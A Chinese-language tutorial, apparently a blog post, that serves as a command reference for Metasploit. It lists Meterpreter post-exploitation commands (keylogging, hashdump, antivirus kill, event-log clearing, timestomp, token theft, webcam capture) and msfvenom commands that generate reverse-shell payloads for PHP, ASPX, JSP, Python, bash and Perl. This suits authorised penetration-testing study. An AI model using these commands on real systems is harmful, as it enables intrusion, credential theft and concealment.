MSF 详解

目录

MSF 官网

MSF简介

MSF框架结构

kali Metasploit 更新

常见名词解释

MSF 命令

MSF命令查询

数据库管理命令

核心命令

模块命令

进程命令

资源脚本命令

后台数据库命令

后端凭证命令

开发者命令

攻击载荷命令

Meterpreter扩展模块

Meterpreter常用命令

Meterpreter核心命令

Meterpreter文件系统命令

Meterpreter网络命令

Meterpreter系统命令

Meterpreter用户界面命令

摄像头命令 音频输出命令 提权命令 密码转储命令 Timetomp

Msfvenom

Msfvenom生成Payload

msfvenom简介

Msfvenom常用参数

Msfconsole监听模块

Msfvenom生成web payload

Msfvenom生成脚本payload

正向与反向连接

Payload类型

/meterpreter/reverse_tcp 和 /meterpreter_reverse_tcp区别


MSF 官网

官网 InfosecMatter - Practical Cyber Security(任何不懂得直接搜索模块 使用网页翻译)

MSF简介

The Metasploit Framework 的简称。 MSF 高度模块化,即框架由多个 module 组成,是全球最受欢迎的渗透测试工具之一。
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode ,并持续保持更新。
metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。

MSF框架结构

Kali-metasploit 框架目录路径

    data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的
    可编辑文件。
    documentation:包含框架的可用文档。
    lib:metasploit的库文件夹。
    plugins:用来存放metasploit的插件。
    scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
    tools:存放多种的命令行实用程序。
    modules:存储metasploit的模块文件。

kali Metasploit 更新

msfconsole -v # 查看版本
apt-get update
apt-get install metasploit-framework

常见名词解释

POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性。
EXP : Exploit ,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性。
Payload :有效载荷,指 Exploit 执行成功之后,真正在系统进行执行的代码或者指令。
Shellcode :一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正向/反向 shell 而得名。
Client :客户端。
Team Server :服务端, C2 服务器, Beacon Payload 的控制器。
Beacon :是 Cobalt Strike 运行在目标主机上的 payload , Beacon 在隐蔽信道上我们提供服务,用于长期控制受感染主机。
C2 : Command & Control Server 的简称,也就是命令与控制。

 

Msfconsole 主要用于:

  1. 管理 Metasploit 数据库
  2. 管理会话
  3. 配置启动 Metasploit 模块
  4. 启动 msfconsole 时,MSF会使用创建的 msf 用户自动登录到 msf 数据库

    查看数据库连接状态

    db_status

    如果没有连接可以手工连接:

    db_connect 用户名:口令@服务器地址:端口/数据库名称

MSF 命令

MSF命令查询

show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
[show ]options/advanced – 查看该模块可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数

数据库管理命令

msfdb init             # 启动并初始化数据库
msfdb reinit           # 删除并重新初始化数据库
msfdb delete           # 删除并停止使用数据库
msfdb start           # 启动数据库
msfdb stop             # 停止数据库
msfdb status           # 检查服务状态
msfdb run             # 启动数据库并运行msfconsole

核心命令

?             帮助菜单
banner       显示 Metasploit banner信息
cd           更改当前工作目录
color         切换颜色
connect       与主机通信
debug         显示对调试有用的信息
exit         退出控制台
features     显示可以选择加入的尚未发布的功能列表
get           获取特定变量的值
getg         获取全局变量的值
grep         筛选以一条命令的输出
help         帮助菜单
history       显示命令历史记录
load         加载框架插件
quit         退出控制台
repeat       重复一个命令列表
route         通过一个session会话路由流量
save         保存活动的数据存储
sessions     导出会话列表并显示会话信息
set           将一个特定环境的变量设置为一个值
setg         将一个全局变量设置为一个值
sleep         在指定的秒数内不执行任何操作
spool         将控制台输出写入文件以及屏幕
threads       查看和操作后台线程
tips         显示有用的提示清单
unload       卸载框架插件
unset         取消设置的一个或多个变量
unsetg       取消设置一个或多个全局变量
version       显示框架和控制台库版本号

模块命令

advanced     显示一个或多个模块的高级选项
back         从当前环境返回
clearm       清除模块堆栈
favorite     将模块添加到最喜欢的模块列表中
info         显示一个或多个模块的详细信息
listm         列表中的模块栈
loadpath     从路径中搜索并加载模块
options       显示一个或多个模块全局选项
popm         将最新的模块从堆栈中弹出并使其处于活动状态
previous     将之前加载的模块设置为当前模块
pushm         将活动模块或模块列表推送到模块堆栈
reload_all   重新加载所有模块
search       搜索模块名称和描述
show         显示给定类型的的模块或所有模块
use           通过名称或搜索词/索引选择使用模块

进程命令

handler       启动一个payload处理程序作为job
jobs         显示和管理 jobs
kill         杀掉一个job
rename_job   重命名一个job

资源脚本命令

makerc       将从开始输入的命令保存到文件中
resource     运行存储在文件中的命令

后台数据库命令

analyze           分析关于一个特定地址或地址范围的数据库信息
db_connect       连接到一个现有的数据服务
db_disconnect     与当前的数据服务断开连接
db_export         导出一个包含数据库内容的文件
db_import         导入扫描结果文件(文件类型将被自动检测)
db_nmap           执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存(已废弃)
db_remove         删除已保存的数据服务条目
db_save           将当前的数据服务连接保存为默认,以便在启动时重新连接
db_status         显示当前的数据服务状态
hosts             列出数据库中的所有主机
loot             列出数据库中的所有战利品
notes             列出数据库中的所有笔记
services         列出数据库中的所有服务
vulns             列出数据库中的所有漏洞
workspace         在数据库工作空间之间切换

后端凭证命令

 creds         列出数据库中的所有凭证

开发者命令

edit         用首选编辑器编辑当前模块或文件
irb           在当前环境下打开一个交互式Ruby shell
log           如果可能的话,将framework.log分页显示到最后。
pry           在当前模块或框架上打开 Pry 调试器
reload_lib   从指定路径重新加载Ruby库文件
time         运行一个特定命令所需的时间

攻击载荷命令

check 检查一个目标是否易受攻击
generate 生成一个有效载荷
reload 从磁盘重新加载当前的模块
to_handler 用指定的有效载荷创建一个处理程序

MSF模块

    模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
    MSF所有的漏洞测试都是基于模块。

    auxiliary :辅助模块 辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
    用于辅助操作的模块,例如网络扫描、枚举、漏洞扫描、登录暴力破解、模糊测试、 蜘蛛(遍历)、数据提取等;
    辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻 击。 包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码口令破解、敏 感信息嗅探、fuzz、实施网络协议欺骗等模块

    exploits :漏洞利用模块 包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。 命名规则:操作系统/各种应用协议分类
    用于利用漏洞和传递有效负载的模块。有远程漏洞利用、本地漏洞利用、权限提升漏 洞利用、客户端漏洞利用、Web 应用程序漏洞利用和许多其他漏洞。
    利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件。metasploit框架中渗透攻击模块可以按照所利用的安全漏洞所在的位置分为主动渗透攻击与被动渗透攻击两大类。

    payloads: 攻击载荷 主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码、 用于在利用期间执行操作的模块,例如建立Meterpreter 会话、反向 shell、执行命 令、下载和执行程序等。攻击载荷是在渗透攻击成功后在目标系统运行的一段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段功能简单的ShellCode代码,以汇编语言编制并转换为目标系统CPU体系结构支持的机 器代码,在渗透攻击触发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执 行,从而完成ShellCode中实现的单一功能。

    post:后渗透阶段模块 漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
    用于在拿到权限后进行后渗透利用操作的模块,例如凭证/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多 其他操作。

    encoders :编码器模块 主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统 用于有效负载编码和加密的模块,例如 base64、XOR、shikata_ga_nai 等。这有助 于混淆以规避防病毒或NIDS(网络入侵检测系统)、EDR(端点检测和响应)等防 御。

    evasion :躲避模块 用来生成免杀payload 用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限制策略 (SRP) 绕过等。

    nops:空指令模块 空指令就是空操作,提高paylaod稳定性及维持大
    用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存 中滑动等。
    是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
    在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的 Shellcode执行失败,从而提高渗透攻击的可靠性。
    metasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可 靠性的组件。
 

Meterpreter扩展模块

Meterpreter介绍
meterpreter是一个高级、动态、可扩展的payload,简单理解是一个高级的CMD,里面封装了Metasploit的功能

Meterpreter常用命令

meterpreter>background 放回后台
meterpreter>exit 关闭会话
meterpreter>help 帮助信息
meterpreter>sysinfo 系统平台信息
meterpreter>screenshot 屏幕截取
meterpreter>shell 命令行 shell(exit 退出 )
meterpreter>getlwd 查看本地目录
meterpreter>lcd 切换本地目录
meterpreter>getwd 查看目录
meterpreter>ls 查看文件目录列表
meterpreter>keyscan_start 开启键盘记录
start 改为 stop 则为关闭
meterpreter>cd 切换目录
meterpreter>rm 删除文件
meterpreter>downloadC:\\1.txt1.txt 下载文件
meterpreter>upload/var/www/wce.exewce.exe 上传文件
meterpreter>search-dc:-f*.doc 搜索文件
meterpreter>execute-fcmd.exe-i 执行程序 / 命令
meterpreter>ps 查看进程
meterpreter>getuid 查看当前用户权限 meterpreter>runkillav 关闭杀毒软件
meterpreter>rungetgui-e 启用远程桌面
execute :在目标机器执行文件
创建新进程 cmd.exe -H 不可见, -i 交互
Upload: 上传文件
Download: 下载文件

meterpreter>Back 回退

Meterpreter核心命令

background – 将当前会话移动到后台
bg         - background的别名
bgkill     – 总之后台 meterpreter 脚本
bglist     – 列出后台运行中的脚本
bgrun       – 作为一个后台线程运行脚本
channel     – 显示活动频道
close       – 关闭通道
disable_unicode_encoding   - 禁用unicode字符串的编码
enable_unicode_encoding     - 启用unicode字符串的编码
exit       – 终止 meterpreter 会话
help       – 帮助菜单
info       - 显示有关Post模块的信息
irb         - 在当前会话上打开交互式 Ruby 外壳
load       - 加载一个或多个meterpreter扩展
machine_id - 获取连接到会话的计算机的 MSF ID
migrate     - 将服务迁移到另一个进程
pivot       - 管理pivot侦听器
pry         - 打开当前会话上的pry调试器
quit       - 终止 meterpreter 会话
read       - 从通道中读取数据
resource   - 运行存储在文件中的命令
run         - 执行一个meterpreter 脚本 或者 Post模块
secure     - 在会话中协商TLV分组加密
sessions   - 快速切换到另外一个session
set_timeouts - 设置当前会话的超时值
sleep       - 强制meterpreter停止活动,然后重新建立会话
transport   - 改变目前的运输机制.
use         - 加载 meterpreter 的扩展,'load'的旧别名
uuid       - 获取当前会话的UUID
write       – 将数据写入到一个通道

Meterpreter文件系统命令

cat         - 读取并输出到标准输出文件的内容
cd         - 更改目录对受害人
checksum   - 检索文件的校验和
cp         - 将源复制到目标
dir         - 列出文件(别名为 ls)
download   - 下载文件或目录
edit       - 编辑文件
getlwd     - 输出本地工作目录
getwd       - 输出工作目录
lcd         - 更改本地工作目录
lls         - 列出本地文件
lpwd       - 输出本地工作目录
ls         - 列出当前目录中的文件列表
mkdir       - 创建目录
mv         - 将源移动到目标
rm         - 删除指定的文件
rmdir       - 删除目录
search     - 在目标主机文件系统上查找搜索文件 例如:search -d
c:\\ -f *.doc 在目标主机C盘下搜索doc文档
show_mount - 列出所有装载点/逻辑驱动器
upload     - 上传文件或目录

Meterpreter网络命令

arp         - 显示主机ARP缓存
getproxy   - 显示当前代理配置
ifconfig   - 显示网络接口的关键信息
ipconfig   - 显示网络接口的关键信息
netstat     - 显示网络连接
portfwd     - 将本地端口转发到远程服务
             例如:portfwd add -l 1122 -p 3389 -r
192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
resolve     - 解析目标上的一组主机名
route       - 查看或加入受害者路由表 route add 5.5.5.0
255.255.255.0 1 用sessions 1会话加入指定网段

Meterpreter系统命令

clearev     - 清除事件日志
drop_token - 放弃任何活动模拟令牌。
execute     - 执行命令,在目标主机上运行某个程序 execute -f
notepad.exe ,执行目标主机上的记事本程序,隐藏后台执行,加参数-H
getenv     - 获取一个或多个环境变量值
getpid     - 获取当前进程 ID (PID)
getprivs   - 尝试启用当前进程可用的所有权限
getsid     - 获取当前运行服务用户的SID
getuid     - 获取当前运行服务的用户
kill       - 终止进程
localtime   - 显示目标系统的本地日期和时间
pgrep       - 按名称显示进程
pkill       - 按名称终止进程
ps         - 列出正在运行的进程
reboot     - 重新启动受害人的计算机
reg         - 与受害人的注册表进行交互
rev2self   - 在受害者机器上调用 RevertToSelf()
shell       - 在远程计算机上打开一个shell
shutdown   - 关闭远程计算机
steal_token - 试图窃取指定的 (PID) 进程的令牌
suspend     - 挂起或恢复进程列表
sysinfo     - 获取关于远程系统的信息,如操作系统

Meterpreter用户界面命令

enumdesktops   - 列出所有可访问的desktops和Windows
getdesktop     - 获取当前的 meterpreter 桌面
idletime       - 检查长时间以来,受害者系统空闲进程
keyboard_send   - 发送一个键盘记录器
keyevent       - 发送key事件
keyscan_dump   - 转储键盘记录器缓冲区内容
keyscan_start   - 启动键盘记录器
keyscan_stop   - 停止键盘记录器
mouse           - 发送鼠标事件
screenshare     - 实时监视远程用户的桌面
screenshot     - 抓取交互式桌面的屏幕截图
setdesktop     - 更改 meterpreter 当前桌面
uictl           - 启用用户界面组件的一些控件

摄像头命令 音频输出命令 提权命令 密码转储命令 Timetomp

timestomp   - 操作修改文件的MACE属性
Modified:修改时间
Accessed:访问时间
Created:创建时间
Entry Modified: 条目修改时间

hashdump - 抓取哈希密码 (SAM) 文件中的值
hashdump 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。

getsystem   - 获得系统管理员权限

play   - 在目标系统上播放波形音频文件(.wav)

record_mic     - 从默认麦克风记录音频X秒
webcam_chat     - 启动视频聊天
webcam_list     - 列出摄像头
webcam_snap     - 从指定的网络摄像头获取snapshot
webcam_stream   - 从指定的网络摄像头播放视频流

 chcp65001 更改代码页 这样会少很多

Msfvenom

Msfvenom生成Payload

msfvenom简介

msfvenom是msfpayload和msfencode的组合。将这两个工具集成在一
个框架实例中。
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,获得meterpreter

Msfvenom常用参数

-p --payload ,指定特定的 Payload ,如果被设置为 - ,那么从标准输入流中读取。几乎支持全平台。
-l --list ,列出所有可用的项目,其中值可以被设置为 payloads,encoders,nops,all
-n --nopsled ,指定 nop payload 中的数量
-f --format ,指定 Payload 的输出格式( --listformats :列出所有可用的输出格式)
-e --encoder ,指定使用的 encoder
-a --arch ,指定目标系统架构
--platform :指定目标系统平台
-s --space ,设置未经编码的 Payload 的最大长度( --encoder-space :编码后的 Payload 的最大长度)
-b --bad-chars ,设置需要在 Payload 中避免出现的字符,例如: ’\0f’ ’\x00’
-i --iterations ,设置 Payload 的编码次数
--smallest :尽可能生成最短的 Payload
-o --out ,保存 Payload 到文件

Eg:msfvenom -p windows/meterpreter/bind_tcp -f exe

使用-p来指定要使用的payload

Msfvenom -l payloads 查看msf可用的payload 在命令行模式下kali

Msfvenom -l payloads | grep meterpreter/reverse_tcp过滤一下

Msfvenom -l formats  查看msf支持的输出格式 例如exe可执行程序

Msfvenom -l encoders 查看可用编码器

Msfvenom -l platforms 查看可用平台

Msfconsole监听模块

msf6>useexploit/multi/handler
要设置监听ip以及监听端口以及payload模块类型

Msfvenom生成web payload

php
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f
raw >shell.php
asp
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
LPORT= -f aspx - o shell.aspx
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f
raw >shell.jsp
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f
war > shell.war

Msfvenom生成脚本payload

python
msfvenom -p python/meterpreter/reverse_tcp LHOST= LPORT=
-f raw > shell.py
bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw
> shell.sh
perl msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw >
shell.pl

正向与反向连接

Bind       正向连接  

在payload执行的主机上 监听指定的端口

Reverse 反向连接

在 攻击机 nc -lvp 666

目标机 在目标主机上执行后 会主动向攻击机指定的端口发送链接请求 在生成 reverse payload 需要设置 攻击机 ip port

 

Payload类型

payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

singles
独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。

stagers
传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind(正向)型和reverse(反向)型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。

stages
传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,
meterpreter是运行在内存中的,通过注入dll文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。


Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。
stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执 行,还需通过其他工具和脚本进行管理。

/meterpreter/reverse_tcp 和 /meterpreter_reverse_tcp区别

payload分为staged和stageless:
Staged payload: /[arch]//
Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:
reverse_tcp、 bind_tcp
Stageless payload: /[arch]/
Stageless Meterpreter是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展,全部捆绑
在 一起,将完整的payload都编译在木马中,体积庞大
Staged只建立连接并接受payload而stageless之间省去了接受payload的步骤

你可能感兴趣的:(系统安全,网络安全,web安全,安全)